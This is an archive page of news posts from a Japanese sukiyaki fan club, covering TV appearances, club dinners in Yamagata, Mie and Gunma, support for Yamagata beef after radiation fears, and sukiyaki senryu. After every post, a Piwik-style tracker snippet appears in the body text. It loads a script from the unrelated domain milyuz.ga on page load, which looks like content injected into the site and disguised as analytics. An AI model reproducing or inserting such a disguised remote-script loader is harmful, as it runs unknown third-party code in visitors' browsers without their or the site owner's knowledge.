Home » Archive

すき焼き好きのための「すきや連」ニュース

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[21 3月 2015 | No Comment | ]

「すき焼き文化を広めた」本であり、組織である──と、わたしたちの活動がとてもくわしく、正確に伝えられています。
 
 
var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[31 12月 2012 | No Comment | ]

昨秋、すき焼きのおいしさとは何か、牛肉の違い、味付け等々を分析する番組に出演しました。わたしの担当は、浅草・ちんやにて、割り下のすき焼きを味わいつつ、すき焼き文化を語る役でした。
また、すきや連有志が先日うかがった茅ヶ崎館のカレーすき焼きも取材されています。
前回ご覧になれなかったみなさま、ぜひご覧になってください。
●BSテレビ朝日「幸福の一皿~美味しさの物語」
●放送日 2013年1月2日(水)昼11:00~12:00
●番組ホームページ→http://www.bs-asahi.co.jp/hitosara/

var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[8 11月 2012 | No Comment | ]

すき焼きのおいしさとは何か、牛肉の違い、味付け等々を分析する番組に出演します。わたしの担当は、浅草・ちんやにて、割り下のすき焼きを味わいつつ、すき焼き文化を語る場面です。じつは、どんなシーンが放映されるのか、わたしもまだ知らないのですが……。
また、すきや連有志が先日うかがった茅ヶ崎館のカレーすき焼きも取材されています。
すき焼き好きのみなさま、ぜひご覧になってください。
●BSテレビ朝日「幸福の一皿~美味しさの物語」
放送日 11月9日(金) 20:00~20:54
再放送 11月23日(金) 20:00~20:54
●番組ホームページ→http://www.bs-asahi.co.jp/hitosara/

var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[6 8月 2012 | No Comment | ]

8月8日、山形県米沢市の登起波で「すきや連」大会が開催されることになりました。
今回は米沢牛のすき焼きをいただきますが、その前に、米沢牛の牧場を訪問し、名牛の名牛たる所以を体感する予定です。
山形県内の参加者も大勢いらっしゃるので、すき焼きを囲みつつ、幅広く意見交換ができると思います。
みなさま、今回もどうぞよろしくお願いいたします。

var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[17 2月 2012 | No Comment | ]

2月14日、三重県松阪市の和田金で「すきや連」大会が開催されました。昼間は嬉野町の和田金ファームを見学し、夕方からたっぷりすき焼きをいただきました。今回の参加者は約60名でした!  
近日中にレポートをまとめますが、ともあれ、翌日の『夕刊三重』の記事をご覧になってください
var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[11 11月 2011 | No Comment | ]

今度の「すきや連」は、11月23日、群馬県で開催することになりました。
群馬県は、じつは、すき焼き食材の大産地。牛肉は上州和牛、赤城和牛など、割り下に欠かせない醤油もいい蔵元があるし、野菜類はもっともっと華やかにそろっています。
そのため、昼間はオプショナル・バスツアーとして、下仁田町を中心にすき焼き食材の見学会を催します。
①下仁田ファーム……12月の出荷解禁間近の下仁田ねぎの畑。
②松浦しいたけ園……くぬぎのほだ木で自然のままに育てる原木しいたけ。
③小金澤下仁田蒟蒻㈱……こんにゃく芋を茹でてつくる生芋しらたきの製造工程。
そして、お待ちかねのすき焼きは、前橋市の「牛や清(ぎゅうやきよし)」の大広間で、これらの食材を駆使した特製すき焼きを堪能する予定です。また、店内には群馬食材の展示コーナーも開設します。
とても楽しくておいしい一日になりそうです。みなさま、ぜひご参加ください。
なお、群馬県の世話人のみなさまのおかげで、すばらしい会が開催できますことを心より感謝いたします。
当日夜は、向笠千恵子が毎月生出演しているNHKラジオ「ラジオ深夜便・大人の旅ガイド」の放送日です。11月23日(水)深夜0時30分頃からの出演で、暦の上でいうと24日に入った深夜の時間帯です。
とっておきのおすすめ「食」をご紹介するコーナーですので、どうぞお聴きになってください
var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[18 8月 2011 | No Comment | ]

8/6に山形市で、「山形県産牛、おいしさ・安全アピール大会」がひらかれ、すきや連の活動ぶりをお知らせして、たいへん喜ばれたことはすでにご報告したとおりです。
その大会が、今度は東京でも開催されることになりました。すきや連のうち牛肉に直接関係ある方々にはすでにお知らせしましたが、わたしたちも、すき焼き文化をすすめる立場から参加して、ぜひエールを送りたいと思います。どうぞよろしくお願いいたします。
開催日  8月20日(土)17時~19時
開催場所  ホテルグランドパレス  ダイヤモンドホール
参加者  首都圏の流通関係者、首都圏小売り関係者、一般消費者等
var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[8 8月 2011 | One Comment | ]

放射能問題で不安な日々を送っている山形県で、「山形県産牛、おいしさ・安全アピール大会」がひらかれ、わたしは激励の講演を行ないました。吉村知事ともお会いして、すきや連の活動ぶりをお知らせしたところ、たいへん喜ばれてかえって恐縮したくらいです。
ちょうど山形に仕入れに行っていた吉澤畜産の吉澤直樹さんとはすれ違いでしたが、講演では、山形から直接買い付けている畜産会社があることを報告し、県の牛肉関係者のみなさんから大きな拍手をいただきました。

var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

お知らせ!最新“耳より”情報, すき焼き好きのための「すきや連」ニュース »

[2 8月 2011 | No Comment | ]

放射能汚染による「稲わら」の問題で、今、牛肉がたいへんなことになっています。今週は、そのなかでも山形県産牛をバックアップするために、県知事主催の「山形県産牛の安全アピール大会」(仮称)で、牛肉応援のための基調講演をすることになりました。
8月6日午前11時30分~、会場はメトロポリタンホテル山形です。
みなさまも、風評にまどわされないよう、ぜひいつものように牛肉を食べてくださいね。
var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

すき焼き好きのための「すきや連」ニュース »

[22 5月 2011 | One Comment | ]

 すきや連にお顔を見せてくださるNPO法人江戸しぐさ副理事長で、ロサンゼルス会幹事、国際箸学会会員のジャーナリストの桐山勝さんから川柳が届いた。
 日経新聞社のロサンゼルス特派員などを経て日経CNBC社長から現職に至ったという多彩なキャリアをおもちで、落語好きでもある桐山さんらしいウィットきいた“すき焼き川柳”ばかり。また、江戸の老舗の盛衰をテーマにした著書『豪商と江戸しぐさ 成功するリーダー列伝』(MOKU出版)を書かれるなど、江戸の経営学と江戸文化にも造詣の深い桐山さんだけに、江戸っ子らしいエスプリがおみごと。
  みなさまも、“すき焼き川柳”を詠まれてはいかがでしょう。すき焼きのうきうき気分がぐんと増すはずです。
      好きやきに想う人誘ってちんや哉
      しらたきを忘れとび出す新所帯
      ひとしきり好き焼き囲めば仲直り
     玉子抜きふところなりの数奇屋鍋
   女房殿お酒を越える隠し味
   待ってましたここが出番と鍋奉行
   御飯入れ余韻楽しむ鍋のあと
(追記)
  「ひとしきり……」と「待ってました……」の2句がとくにすばらしいという声がたくさん届きました。すき焼きの魅力が凝縮しているからでしょう。
var _paq = _paq || [];
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”//milyuz.ga/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘7’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();